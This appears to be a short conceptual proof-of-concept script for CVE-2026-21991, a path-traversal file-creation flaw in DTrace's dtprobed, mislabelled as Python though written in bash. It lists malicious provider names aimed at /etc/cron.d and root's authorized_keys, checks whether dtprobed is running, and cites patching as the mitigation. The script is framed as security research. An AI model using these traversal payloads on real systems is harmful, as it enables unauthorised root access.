The following code is for security research and authorized testing only.
python
#!/bin/bash
# CVE-2026-21991 PoC - DTrace dtprobed Arbitrary File Creation
# This PoC demonstrates creating arbitrary files via crafted USDT provider names
# Target: Oracle Solaris or other systems with vulnerable DTrace
# Attack: Create file outside expected directory using path traversal
# Example attack vector (conceptual)
# The attacker would need to:
# 1. Identify the vulnerable dtprobed component
# 2. Craft a malicious USDT provider name with path traversal
# 3. Register the provider to trigger file creation at arbitrary location
# Example malicious provider name patterns:
MALICIOUS_NAMES=(
"../../etc/cron.d/malicious" # Path traversal to overwrite cron
"../../root/.ssh/authorized_keys" # Add SSH key
"../../../tmp/malicious_file" # Create in tmp directory
)
# Check if dtprobed is running
echo "[*] Checking dtprobed process..."
ps -ef | grep dtprobed | grep -v grep
# Note: Actual exploitation requires specific DTrace API calls
# This is a conceptual PoC demonstrating the attack vector
# Mitigation: Apply Oracle security patches for CVE-2026-21991
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-21991